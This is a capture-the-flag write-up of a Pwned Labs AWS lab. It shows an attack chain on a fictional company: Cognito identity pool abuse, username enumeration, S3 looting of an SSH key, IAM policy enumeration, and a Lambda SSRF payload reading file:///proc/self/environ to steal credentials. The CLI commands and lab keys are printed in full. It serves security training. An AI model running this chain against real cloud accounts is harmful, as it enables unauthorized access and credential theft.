ABUSE COGNITO AND ID POOLS

PWNEDLABS.IO

`AWS Cognito` is a service that provides user authentication, authorization and management for web and mobile apps. It will sync across devices. `Cognito` is comprised of two core services: `Federated Identities/Identity Pools` and `User Pools`. `User Pools` are a fully managed service, which provide a secure, scalable user directory and are easy to set up without having to worry about infrastructure. Used for a built-in user sign in and sign up experience. `Identity Pools` allow providers to set up user IDs and federate them with ID providers. When federated, a user can obtain temporary, limited-time AWS credentials to sync data with `AWS Sync`.

Source Code Review

In the first couple of lines of the source code we are provided, we see the app is importing `com.amazonaws.auth.CognitoCachingCredentialsProvider`. Further down, we see the `Identity Pool ID` and the name of an s3 bucket, `hl-app-images`. `AWS Cognito` will provide unauthenticated, temporary credentials as long as we provide a unique `Identity Pool ID`, which we have thanks to reading the source code.

```
$aws cognito-identity get-id --identity-pool-id us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367 --no-sign
{
"IdentityId": "us-east-1:6391d33c-4bc5-c1c7-927e-cfbc4f95416d"
}
```

Identity Pool Access

Now that we have an `IdentityID`, let's get some credentials:

```
$aws cognito-identity get-credentials-for-identity --identity-id us-east-1:6391d33c-4bc5-c1c7-927e-cfbc4f95416d --no-sign
{
"IdentityId": "us-east-1:6391d33c-4bc5-c1c7-927e-cfbc4f95416d",
"Credentials": {
"AccessKeyId": "ASIAWHEOTHRFUW7KM3Y4",
"SecretKey": "xsJpTN/XZ/9HgPPKsEzWI0/LwPgSM2uYZnC5DjlX",
"SessionToken": "IQoJb3Jp....
```

Log in with `aws configure` setting the region to `us-east-1` and the token with `aws configure set aws_session_token`. After, we check who we are with `aws sts get-caller-identity`:

```
$aws sts get-caller-identity
{
"UserId": "AROAWHEOTHRFRYHGIQFVK:CognitoIdentityCredentials",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-
role/Cognito_StatusAppUnauth_Role/CognitoIdentityCredentials"
}
```

We see we have assumed the role of CognitoIdentityCredentials. Could be very useful.

s3 Enumeration

```
$aws s3 ls s3://hl-app-images
PRE temp/
2023-07-15 17:52:13 4052 hl.png
```

```
$aws s3 ls s3://hl-app-images/temp/
2023-07-15 18:10:54 0
2023-07-15 18:11:22 3428 id_rsa
```

```
$aws s3 cp s3://hl-app-images/temp/id_rsa .
download: s3://hl-app-images/temp/id_rsa to ./id_rsa
```

We now are the proud owners of an SSH key. This can be used later to enumerate EC2 (Electric Cloud Compute) instances and potentially further access inside the Huge Logistics infrastructure.

User Pool Access

Cognito Client ID: `16f1g98bfuj9i0g3f8be36kkrl`

According to the sign up form for the website we were given, one of the necessary parameters to sign up is the `username` parameter. Since this is a necessary parameter, we can use it to enumerate a list of user names, as signing up with an already existing username will likely return an error saying as much, as seen in the first example. We can sign up using the CLI like this:

```
$aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username test
--password 'Password123!'
```

```
An error occurred (UsernameExistsException) when calling the SignUp operation:
User already exists
```

So, we can't use `test` because the username already exists.

```
$aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username
vudoo --password 'Password123!'
```

```
{
"UserConfirmed": false,
"UserSub": "5877791f-8754-41df-9819-9c0faea06532"
}
```

We need to try to get a `JSON Web Token (JWT)`, so we issue the following command, but are met with an error since our sign up hasn't been confirmed:

```
$aws cognito-idp initiate-auth --client-id 16f1g98bfuj9i0g3f8be36kkrl --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=vudoo,PASSWORD=Password123!
```

```
An error occurred (UserNotConfirmedException) when calling the InitiateAuth operation: User is not confirmed.
```

So now we pick a different user name, entering our email to get a confirmation on the server:

```
$aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username fvgv --password Password123! --user-attributes Name="email",Value="REDACTED" Name="name",Value="Test"
{
"UserConfirmed": false,
"CodeDeliveryDetails": {
"Destination": "b***@g***",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
},
"UserSub": "3b065ff7-e6f6-4d9e-977c-8acd79fbb50a"
}
```

After checking our email, we enter the following command, including our confirmation code number we just received:

```
$aws cognito-idp confirm-sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username fvgv --confirmation-code 172923
```

JSON Web Token (JWT)

```
$aws cognito-idp initiate-auth --client-id 16f1g98bfuj9i0g3f8be36kkrl --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=fvgv,PASSWORD=Password123!
{
"ChallengeParameters": {},
"AuthenticationResult": {
"AccessToken": "eyJraW...
```

First, we need to copy everything inside `AccessToken` and decode it using http://jwt.io. JWTokens are made of base64 and url-encoded JSON. Paying attention to the decoded token, we see:

iss: "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz",

`iss` is the token issuer, which is the user pool ID (https://cognito-idp..._), then it is followed by `8rcK7abtz` which is a globally unique identifier.

Using this information, we copy the `IdToken` from our JWT retrieval and paste it inside to get a unique `IdentityID`:

```
aws cognito-identity get-id --identity-pool-id "us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367" --logins "{ \"cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz\": \"IDTOKENHERE\" }"
{
"IdentityId": "us-east-1:6391d33c-4b88-c228-8830-ed766d9a2d0d"
}
```

With the `IdentityID` issued to us, we can now get new credentials:

```
$aws cognito-identity get-credentials-for-identity --identity-id us-east-1:6391d33c-4b88-c228-8830-ed766d9a2d0d --logins "{ \"cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz\": \"IDTOKENHERE\" }"
{
"IdentityId": "us-east-1:6391d33c-4b88-c228-8830-ed766d9a2d0d",
"Credentials": {
"AccessKeyId": "ASIAWHEOTHRFRF2OELLE",
"SecretKey": "9hWc2+GPg27AMhwWnUta/o7K26sXjaosxxU1I1K2",
"SessionToken": "IQoJb3...",
"Expiration": "2026-02-02T18:50:39+00:00"
}
}
```

Being sure to reconfigure with `aws configure` and `aws configure set aws_session_token` we now check who we are:

```
$aws sts get-caller-identity
{
"UserId": "AROAWHEOTHRFZ7HQ7Z6QA:CognitoIdentityCredentials",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-role/Cognito_StatusAppAuth_Role/CognitoIdentityCredentials"
}
```

We have the role `Cognito_StatusAppAuth_Role` assigned, so what can we do? List the bucket policy, of course:

```
$aws iam list-role-policies --role-name Cognito_StatusAppAuth_Role
{
"PolicyNames": [
```

```
"oneClick_Cognito_StatusAppAuth_Role_1689349464673"
]
}
```

This is an AWS-managed policy. You can tell by the weird name. We can check client-managed AWS policies with:

```
$aws iam list-attached-role-policies --role-name Cognito_StatusAppAuth_Role{
"AttachedPolicies": [
{
"PolicyName": "Status",
"PolicyArn": "arn:aws:iam::427648302155:policy/Status"
}
]
}
```

We have a policy `Status` that is client-managed. Digging deeper, our first step will be to get the policy version, so that later we can access the policy document:

```
$aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Status
{
"Policy": {
"PolicyName": "Status",
"PolicyId": "ANPAWHEOTHRF4PPCP4KUA",
"Arn": "arn:aws:iam::427648302155:policy/Status",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 2,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-07-13T21:07:44+00:00",
"UpdateDate": "2023-07-15T09:43:20+00:00",
"Tags": []
}
}
```

Now, using the `v4` policy version:

```
$aws iam get-policy-version --policy-arn
arn:aws:iam::427648302155:policy/Status --version-id v4
{
"....snip....
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"lambda:InvokeFunction",
```

```
"lambda:GetFunction"
],
"Resource": "arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "lambda:ListFunctions",
"Resource": "*"
....snap....
}
}
```

Here we see that we can use `AWS Lambda` to list all functions on the account, as well as `invoke function` on a function named `huge-logistics-status`. Very interesting.

Lambda

First we will list all the lambda functions:

```
$aws lambda list-functions
{
"Functions": [
{
"FunctionName": "huge-logistics-status",
"FunctionArn": "arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status",
....snip....
```

We have a function, `huge-logistics-status` which we already knew about. We will enumerate that function further:

```
$aws lambda get-function --function-name huge-logistics-status
```

The output is a lot of information and a link. Click the link and you'll be prompted to save the `huge-logistics-status.zip` file. Download it and unzip it, unveiling a python script `lambda_function.py`.

SSRF to File Read

Reading the `lambda_function.py`, we see a bucket `hl-status-log-bucket` and a script that is used to check the status of http://huge-logistics.com. We can invoke the lambda function with an `event` argument containing a `target` key. If we don't specify the `target`, it defaults to getting the status of http://huge-logistics.com. Note that there is no sanitation of `target`

parameters, so if something isn't safe, or even is an internal system file, no check is made and we can access it:

```
$aws lambda invoke --function-name huge-logistics-status response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
```

We invoke the function with default values to test. We're granted with a `200 OK` response and the HTML code of the `/index.html` file when we read `response.json`.

We are going to verify the SSRF vulnerability by trying to get the HTML code from a random website:

```
$aws lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-status --payload '{ "target": "http://google.com" }' response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
```

Reading `response.json`, we see we are capable. Now we will try to read `/proc/self/environ` with the same vulnerability, because this is generally where AWS Lambda credentials used for functions are stored:

```
$aws lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-status --payload '{ "target": "file:///proc/self/environ" }' response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
```

Reading `response.json`, we have been gifted new credentials. After configuring and setting the session token:

```
$aws sts get-caller-identity
{
"UserId": "AROAWHEOTHRFZGQWG7JDW:huge-logistics-status",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-role/huge-logistics-status-role-4m4kg3fv/huge-logistics-status"
}
```

We are now assuming the role of `huge-logistics-status-role-....` so let's go back to the s3 bucket we found in our `lambda_function.py` script:

```
$aws s3 ls hl-status-log-bucket
PRE IT-Temp/
2023-07-15 12:11:50 32 flag.txt
```

We see a directory `IT-Temp` and the flag.

```
$aws s3 cp s3://hl-status-log-bucket/flag.txt .
download: s3://hl-status-log-bucket/flag.txt to ./flag.txt
```

Now inside the directory:

```
$aws s3 ls hl-status-log-bucket/IT-Temp/
2023-07-15 21:14:09 0
2023-07-15 21:14:24 54152 Huge Logistics Company_ AWS Disaster Recovery
Plan.pdf
```

We see a `Disaster Recovery Plan` outline for the company, so we download that, too:

```
$aws s3 cp "s3://hl-status-log-bucket/IT-Temp/Huge Logistics Company_ AWS
Disaster Recovery Plan.pdf" .
download: s3://hl-status-log-bucket/IT-Temp/Huge Logistics Company_ AWS
Disaster Recovery Plan.pdf to ./Huge Logistics Company_ AWS Disaster Recovery
Plan.pdf
```

If we read the PDF, we find access to a hot-backup account, called a `break glass account` in the event that the `root` user access is lost.